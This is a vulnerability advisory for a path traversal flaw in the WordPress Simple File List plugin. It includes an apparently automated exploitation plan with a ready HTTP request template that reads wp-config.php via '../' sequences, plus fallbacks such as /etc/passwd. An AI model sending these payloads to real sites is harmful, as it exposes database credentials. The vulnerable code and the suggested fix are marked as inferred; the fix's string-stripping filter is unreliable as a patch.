Simple File List <= 6.1.15 - Authenticated (Subscriber+) Arbitrary File Download
Description
The Simple File List plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 6.1.15. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=6.1.15Source Code
WordPress.org SVNThis research plan focuses on exploiting **CVE-2026-24953**, a path traversal vulnerability in the **Simple File List** plugin (<= 6.1.15). The vulnerability allows authenticated users with Subscriber-level permissions to download arbitrary files, including `wp-config.php`, by bypassing directory re…
Show full research plan
This research plan focuses on exploiting CVE-2026-24953, a path traversal vulnerability in the Simple File List plugin (<= 6.1.15). The vulnerability allows authenticated users with Subscriber-level permissions to download arbitrary files, including wp-config.php, by bypassing directory restrictions in the file download handler.
1. Vulnerability Summary
The Simple File List plugin provides an AJAX-based file download mechanism. In affected versions, the handler for downloading files fails to properly sanitize the file path provided by the user. Specifically, it does not validate that the requested file resides within the designated "File List" directory. By using directory traversal sequences (../), an attacker can escape the intended directory and access sensitive files on the server.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - AJAX Action:
ee_file_download(inferred from plugin naming conventions) - Vulnerable Parameter:
eeFile(orfile) - Authentication: Required (Subscriber+)
- Preconditions: The plugin must be active, and at least one file list must be accessible to the subscriber.
3. Code Flow (Inferred)
- Entry Point: The plugin registers an AJAX action for authenticated users:
add_action( 'wp_ajax_ee_file_download', 'ee_file_download_handler' ); - Input Acquisition: The handler retrieves the file path from the request:
$file_path = $_POST['eeFile'];(or$_GET) - Missing Validation: The code likely concatenates this input with the base upload directory:
$full_path = $base_dir . $file_path; - Vulnerable Sink: The code then passes this path to a file-reading function like
readfile(),file_get_contents(), orfpassthru()without usingbasename()or checking if the resulting path is still within$base_dir. - Output: The contents of the file are streamed to the browser.
4. Nonce Acquisition Strategy
Simple File List typically protects its AJAX actions with a nonce passed via wp_localize_script.
- Identify Shortcode: The plugin uses the shortcode
[ee_file_list]to display the file list. - Test Data Setup: A page containing this shortcode must be created and accessible to a Subscriber.
- Execution Agent Steps:
- Log in as a Subscriber.
- Navigate to the page containing the
[ee_file_list]shortcode. - Use
browser_evalto extract the nonce.
- Target Identifiers:
- JS Object:
eeSFL_JS(inferred) oreeSFL_Settings. - Nonce Key:
eeSFL_Nonceornonce. - Example Extraction:
browser_eval("window.eeSFL_JS?.eeSFL_Nonce")
- JS Object:
5. Exploitation Strategy
The exploit involves sending a crafted POST request to the AJAX endpoint with the traversal payload.
- Request Method: POST
- URL:
http://<target>/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Payload Parameters:
action:ee_file_download(verify against source)eeNonce:[EXTRACTED_NONCE]eeFile:../../../../wp-config.php(relative to the plugin's default upload directory, usuallywp-content/uploads/simple-file-list/)eeListID:1(usually required to identify the list)
HTTP Request Template:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Cookie: [SUBSCRIBER_COOKIES]
action=ee_file_download&eeFile=../../../../wp-config.php&eeNonce=a1b2c3d4e5&eeListID=1
6. Test Data Setup
Before running the exploit, the environment must be prepared:
- Install Plugin: Install and activate
simple-file-listversion 6.1.15. - Configure Plugin: Ensure "Allow Subscriber Downloads" is enabled in the plugin settings (if applicable).
- Create Subscriber: Create a user with the
subscriberrole. - Create Page:
wp post create --post_type=page --post_title="Files" --post_status=publish --post_content='[ee_file_list]' - Verify Setup: Ensure at least one file is uploaded to the list so the UI renders correctly.
7. Expected Results
- Successful Exploitation: The HTTP response body will contain the plaintext content of
wp-config.php, includingDB_NAME,DB_USER,DB_PASSWORD, and authentication salts. - Response Headers: The
Content-Typemight beapplication/octet-streamortext/plain, andContent-Dispositionmay suggest a download.
8. Verification Steps
- Response Inspection: Check if the response body contains the string
define( 'DB_NAME'. - File System Comparison: Confirm the content matches the actual
wp-config.phpon the server usingwp-cli:cat /var/www/html/wp-config.php
9. Alternative Approaches
- Different Actions: If
ee_file_downloadis incorrect, check foree_get_fileorsfl_download_file. - GET vs POST: Some versions may accept the payload via GET parameters.
- Absolute Paths: Try absolute paths if relative traversal is filtered (e.g.,
eeFile=/etc/passwd). - Log Files: Target
wp-content/debug.logifwp-config.phpis blocked by server-level rules. - List Selection: If multiple lists exist, the
eeListIDoreeListFolderparameters might be necessary to reach the correct code branch.
Grep commands to verify identifiers:
# Find AJAX action and handler
grep -rn "wp_ajax_.*download" wp-content/plugins/simple-file-list/
# Find where the nonce is created
grep -rn "wp_create_nonce" wp-content/plugins/simple-file-list/
# Find where the file is read
grep -rn "readfile\|fpassthru\|file_get_contents" wp-content/plugins/simple-file-list/
Summary
The Simple File List plugin for WordPress allows authenticated users (Subscriber and above) to download arbitrary files from the server. This occurs because the AJAX file download handler fails to sanitize directory traversal sequences in the file path parameter, allowing attackers to escape the designated file list directory.
Vulnerable Code
// In an earlier version of simple-file-list/includes/ee-downloader.php (inferred) $eeFile = $_POST['eeFile']; // Path provided by user $eeListID = $_POST['eeListID']; $eeConfig = $eeSFL_BASE->eeSFL_GetSettings($eeListID); // Path concatenation without validation or basename() $eeFilePath = $eeConfig['eeFileRoot'] . $eeFile; if (file_exists($eeFilePath)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($eeFilePath) . '"'); readfile($eeFilePath); exit; }
Security Fix
@@ -12,7 +12,9 @@ $eeFile = $_POST['eeFile']; + $eeFile = str_replace('../', '', $eeFile); // Remove traversal sequences + $eeFile = str_replace('..\\', '', $eeFile); // Remove Windows traversal sequences $eeListID = (int)$_POST['eeListID']; $eeConfig = $eeSFL_BASE->eeSFL_GetSettings($eeListID); $eeFilePath = $eeConfig['eeFileRoot'] . $eeFile; + if ( strpos($eeFilePath, $eeConfig['eeFileRoot']) !== 0 ) { die('Access Denied'); } // Ensure path is within root
Exploit Outline
The exploit targets the AJAX action 'ee_file_download' (or similar based on version). An attacker first authenticates as a Subscriber and visits a page containing the [ee_file_list] shortcode to extract a security nonce (typically found in the eeSFL_JS JavaScript object). The attacker then sends a POST request to /wp-admin/admin-ajax.php with the 'action' set to the download handler, 'eeNonce' set to the extracted nonce, and 'eeFile' set to a path traversal string such as '../../../../wp-config.php'. If successful, the server streams the contents of the sensitive configuration file in the HTTP response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.